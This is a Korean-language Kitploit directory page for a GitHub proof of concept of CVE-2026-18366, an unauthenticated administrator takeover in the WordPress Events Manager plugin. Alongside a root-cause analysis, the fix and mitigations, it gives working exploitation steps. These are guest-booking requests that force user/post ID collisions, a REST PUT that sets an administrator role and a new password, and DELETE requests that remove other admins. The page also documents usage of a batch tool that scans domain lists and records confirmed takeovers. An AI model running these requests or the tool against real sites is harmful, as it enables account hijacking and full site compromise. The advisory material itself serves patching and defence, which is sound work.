Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-18366 — WordPress Events Manager < 7.4.1용 인증되지 않은 권한 상승 PoC; 충돌하는 post/user ID를 발견하고 REST 또는 wp-admin을 통해 대상 계정을 관리자로 승격시킵니다. | Kitploit
도구/GitHubGitHub/ghostpels/cve-2026-18366
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationInformation Gathering
GitHubghostpels/cve-2026-18366

CVE-2026-18366

WordPress Events Manager < 7.4.1용 인증되지 않은 권한 상승 PoC; 충돌하는 post/user ID를 발견하고 REST 또는 wp-admin을 통해 대상 계정을 관리자로 승격시킵니다.

저장소 보기
3일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-18366 — Events Manager < 7.4.1: 인증되지 않은 관리자(Administrator) 권한 상승

제품Events Manager (WordPress 플러그인)
영향을 받는 버전7.1.0 – 7.4.0.x
수정된 버전7.4.1
취약점 유형CWE-269: 부적절한 권한 관리 (Improper Privilege Management)
심각도CVSS 3.1: 9.8 (치명적) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
WPVDB ID82767ce2-01e4-46ad-a52b-72d3ab2049bd
최초 발견자Jakub Herman
분석 보고서 및 PoCghostpel

공개 타임라인

  • 2026-08-03 — 수정 사항이 포함된 Events Manager 7.4.1 릴리스(공급업체 보안 릴리스).
  • 2026-08-12 — IONIX Threat Center 항목 게시.
  • 2026-08-21 — 본 분석 보고서 및 개념 증명(poc.py) 공개.

요약

Events Manager 7.1.0 ~ 7.4.0.x 버전에는 완전히 인증되지 않은 공격자가 플러그인 자체 게시물(event / location / event-recurring / location-recurring) 중 하나의 ID와 충돌하는 ID를 가진 모든 사용자 계정을 탈취할 수 있게 하는 권한 상승 취약점이 존재합니다. 게스트 예약이 활성화된(기본값) 사이트에서는 충돌을 강제할 수 있습니다. 게스트 예약이 발생할 때마다 실제 사용자 계정이 생성되고 wp_users 자동 증가(auto-increment) 카운터가 1씩 증가하므로, 공격자는 사용자 ID 공간을 "걸어서" 이벤트/위치 게시물 ID에 도달할 수 있습니다.

근본 원인: 플러그인의 map_meta_cap 필터는 capability의 객체 ID가 이벤트/위치 게시물로 확인될 때마다 모든 메타 capability에 대해 WordPress가 이미 계산한 capability 목록을 폐기합니다($caps = []). 여기에는 edit_user, delete_user, promote_user, remove_user와 같은 WordPress 핵심(코어) capability도 포함됩니다. 빈 capability 목록은 "필요한 capability 없음"으로 해석됩니다. 즉 로그아웃한 사용자를 포함한 모든 사용자에게 허용(allow) 됨을 의미합니다.

결과(모두 인증되지 않은 상태에서 WP REST API를 통해 가능): 충돌하는 계정의 비밀번호 변경, 해당 계정을 administrator로 승격, 또는 계정 삭제.

분석 대상 버전: 7.4.0.1(취약) — 7.4.1(수정됨)과 diff 비교 수행.

영향을 받는 버전

버전상태
≤ 7.0.5영향 없음(기존 em_map_meta_cap은 EM 자체 capability만 처리함)
7.1.0 – 7.4.0.x취약(버그가 있는 map_meta_cap을 포함한 아키타입 시스템이 7.1.0에서 도입됨)
7.4.1

근본 원인 — map_meta_cap이 $caps를 비움

classes/em-archetypes.php (버전 7.4.0.1):

결과: X가 이벤트/위치 게시물의 ID와 같을 때마다 모든 current_user_can('edit_user', X) / delete_user / promote_user / remove_user 검사가 TRUE를 반환합니다. 플러그인은 "WordPress가 이미 내린 접근 제어 결정을 폐기"합니다 — WPScan이 설명한 것과 정확히 일치합니다.

7.4.1의 수정 사항

7.4.0.1과 7.4.1을 diff 비교하여 확인: 이제 초기화(reset)가 분기별 정확한 capability 일치로 보호됩니다(예: && $c['read'][$post->post_type] == $cap). 따라서 $caps는 요청된 capability가 실제로 아키타입 메타 capability일 때만 비워집니다. 패치 주석: "객체를 수반하는 capability에서 초기화를 수행하면 관련 없는 capability(예: edit_user, promote_user)의 요구 목록이 비워져 허용(allow)으로 해석되었습니다."

영향 — 노출된 WordPress 핵심 관리자 작업(로그인 없이 REST API를 통해)

REST Users 엔드포인트(/wp-json/wp/v2/users/{id})에는 전역 로그인 게이트가 없습니다. 접근 제어는 전적으로 권한 콜백(permission callback)을 통해서만 이루어지며, 모든 콜백은 동일한 map_meta_cap 필터를 통과합니다:

부작용: 댓글 ID가 이벤트/위치 게시물 ID와 우연히 일치하는 경우 edit_comment도 영향을 받습니다(wp_comments 테이블이 동일한 숫자 공간을 공유함).

게스트 예약을 통한 ID 충돌 강제(진입점)

충돌은 wp_users.ID와 wp_posts.ID가 독립적인 자동 증가 시퀀스로 필연적으로 겹치기 때문에 발생합니다. 게스트 예약이 이를 강제합니다:

  • em-install.php:896 — dbem_bookings_anonymous = 1: 게스트 예약 기본 활성화; :871 dbem_bookings_registration_disable = 0(회원가입 활성화).
  • em-actions.php:340-344 — booking_add가 $booking_nopriv_actions에 포함됨 → 로그인 없이 호출 가능(wp_ajax_nopriv_booking_add를 통해, 우선순위 999999, 라인 :817-830, 또는 wp_loaded :11).
  • em-actions.php:360-375 — booking_add 흐름: em_verify_nonce('booking_add') → → → → . (nonce는 CSRF 보호일 뿐이며, nonce는 공개 예약 양식에 렌더링되므로 누구나 획득할 수 있습니다.)

감사 중 관찰된 2차 공격 체인(person_id를 통한 예약 귀속) — events-manager.php:430-437 (em_load_event, 로그인 없이 $_REQUEST['person_id']에서 $EM_Person을 가져옴), em-booking.php:1060-1072 (get_person()이 새 예약의 person_id를 재정의함), em-booking.php:2004-2006 (ID 없는 예약에 대해 can_manage() = TRUE), em-functions.php:448-449 — 7.4.1에서도 변경되지 않음; 이는 별개의 벡터(예약 잘못 귀속)로, 이 CVE의 핵심이 아닙니다.

악용 방법 (인증되지 않은 상태)

  1. 대상 ID 결정. 공개된 이벤트/위치 게시물 ID를 열거합니다(permalink, 피드, /wp-json/wp/v2/event, 또는 순차 ID 무차별 대입). 대상이 N이라고 가정합니다.
  2. (선택 사항 — 충돌 강제) 다음 계정이 ID N을 얻도록 게스트 예약을 반복 전송합니다:
    root@kitploit:~
    POST /wp-admin/admin-ajax.php?action=booking_add
      event_id=<E>&em_tickets[<T>][spaces]=1
      &user_email=attacker%40mail.com&user_name=Attacker
      &_wpnonce=<nonce from the public booking form>
    
    각 POST → 새 계정 1개 생성; ID N인 계정은 공격자의 소유가 됩니다(비밀번호는 공격자의 이메일로 전송됨).
  3. 관리자로 승격 + 비밀번호 변경:
    root@kitploit:~
    PUT /wp-json/wp/v2/users/N
    Content-Type: application/json
    {"password":"Pwned123!","roles":["administrator"]}
    
    get_post(N)이 이벤트/위치 게시물로 확인되므로 edit_user + promote_user 권한 콜백이 통과됩니다 → $caps = []. (기존 계정 — 예: 이전 관리자 — 의 ID가 이미 이벤트 게시물 ID와 충돌하는 N인 경우 2단계는 필요하지 않습니다. 공격자는 해당 계정을 직접 탈취합니다.)

요구 사항

  • Events Manager 7.1 – 7.4.0.x 설치 및 활성화(event/location CPT가 등록된 상태).
  • 이벤트/위치 게시물이 최소 1개 이상(해당 ID가 충돌 키가 됨).
  • 게스트 예약 활성화(기본값) — 충돌을 강제할 때만 필요함; ID가 이벤트/위치 게시물 ID와 일치하는 계정을 우연히 보유한 사이트는 REST를 통해 직접 공격할 수 있습니다.

개념 증명(Proof of Concept) — poc.py

poc.py는 비동기(asyncio + aiohttp) 일괄(batch) PoC로, 대상별로 다음을 수행합니다: EM 버전 핑거프린팅(취약 범위 [7.1, 7.4.1)으로 제한), 외부에서 접근 가능한 EM 게시물 ID 발견(WP 사이트맵 → /locations/, 선택적으로 예약 양식 크롤링), 발견된 ID에 기존 사용자 계정이 있는지 확인(충돌 조건), 그리고 충돌하는 계정을 승격 — REST 채널을 통해, 또는 REST가 차단된 경우 세션이 제공되면 wp-admin 채널을 통해. 블라인드 사용자 범위 스캔, 게스트 예약, 계정 생성은 수행하지 않습니다.

러너는 모든 I/O를 단일 이벤트 루프에서 다중화하고(I/O 바운드 시 CPU 사용률이 거의 0%, -t는 코어 수 대신 동시성을 제한), 루프에서는 제한된 64 KiB 헤드 청크만 스캔하며, 무거운 파싱(사이트맵 XML, 크롤링 페이지 번들, 프로필 양식)은 asyncio.to_thread를 통해 워커 스레드로 오프로드하고, 모든 페이지 요청에 폴리트니스 딜레이(politeness delay)를 적용합니다. 강제(forcing) 로직 자체는 변경되지 않았습니다(동일한 게이트, 동일한 오라클, 동일한 검증).

root@kitploit:~
py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

요구 사항: Python 3.9+, pip install aiohttp.

결과는 hasil.txt(확인된 탈취)와 id-post.txt(EM 게시물 ID가 발견된 모든 취약 도메인, collision=yes/no/unknown 포함)로 스트리밍됩니다.

참고: 이 PoC는 7.4.0.1 소스와 7.4.1 패치 diff에 대한 정적 분석을 통해 독립적으로 재구성되었습니다 — WPScan PoC가 아닙니다.

승인된 보안 테스트 전용(AUTHORIZED SECURITY TESTING ONLY). 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에 대해서만 실행하십시오. 이 PoC는 일반 HTTP 요청을 수행하며 회피(evasion) 기능이 없으므로 로그/IDS에 노출될 수 있습니다.

완화 조치

  • Events Manager 7.4.1 이상으로 업데이트.
  • 임시 조치: 게스트 예약 비활성화(dbem_bookings_anonymous), WAF 수준에서 users REST 엔드포인트 제한, 비밀번호 변경·역할 승격·계정 삭제 모니터링.

크레딧

  • 취약점 발견: Jakub Herman(WPScan 크레딧 표기)
  • 분석 보고서 및 PoC: ghostpel

참고 자료

  • WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
  • IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
  • VulDB: https://vuldb.com/cve/CVE-2026-18366
  • OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
  • Stack.watch: https://stack.watch/vuln/CVE-2026-18366/
도구 다운로드
수정됨
라인코드역할
:33add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );전역 무조건 필터 — 로그아웃한 사용자에 대한 확인을 포함한 WordPress의 모든 메타 capability 검사에서 실행됨
:547if ( !empty( $args[0] ) ) {capability의 객체가 게시물 ID로 처리됨
:548$post = get_post($args[0]);ID 충돌: 대상 사용자 ID(edit_user 같은 capability의 경우)가 게시물 ID로 취급됨
:551`if( empty($post->post_type)
:563`if ( !empty( $c['read'][$post->post_type] )
:564–565$caps = [];capability 목록이 무조건적으로 폐기됨 — 요청된 capability가 read/edit/delete_event 아키타입 capability가 아님에도 불구하고
:568/577/584if/elseif 분기$caps는 $cap이 아키타입 메타 capability와 정확히 일치할 때만 다시 채워짐; edit_user, delete_user, promote_user, remove_user의 경우 일치하는 분기가 없음 → $caps는 빈 상태로 유지됨
:597return $caps;빈 배열 = "필요한 capability 없음" = 사용자 ID 0을 포함한 모든 사용자에게 허용(ALLOW)
작업엔드포인트 / 핵심 함수우회된 capability
대상 계정의 비밀번호 변경PUT /wp-json/wp/v2/users/{id} + {"password":"..."} → wp_update_user() (내부 edit_user 검사)edit_user
계정을 관리자(Administrator)로 승격PUT /wp-json/wp/v2/users/{id} + {"roles":["administrator"]}promote_user
계정 삭제DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (내부 delete_user 검사)delete_user
(멀티사이트) 블로그에서 사용자 제거remove_userremove_user
get_post()
validate()
em_booking_add_registration()
$EM_Bookings->add()
booking_add
  • em-functions.php:405-417 — 게스트 분기: 공격자의 이메일로 em_register_new_user($user_data) 실행.
  • em-functions.php:510 — wp_insert_user($user_data) → 게스트 예약 1건마다 wp_users 자동 증가가 1씩 진행됨 → 공격자는 사용자 ID 카운터가 원하는 이벤트/위치 게시물 ID에 도달할 때까지 증가 속도를 제어할 수 있음(WPScan: "각 게스트 예약은 실제 사용자 계정을 생성하고 사용자 ID 카운터를 1씩 증가시킵니다").
  • ID가 충돌하는 다른 계정 삭제(예: 다른 관리자):
    root@kitploit:~
    DELETE /wp-json/wp/v2/users/M?reassign=N
    
  • 관리자로 로그인 → 사이트 전체 장악.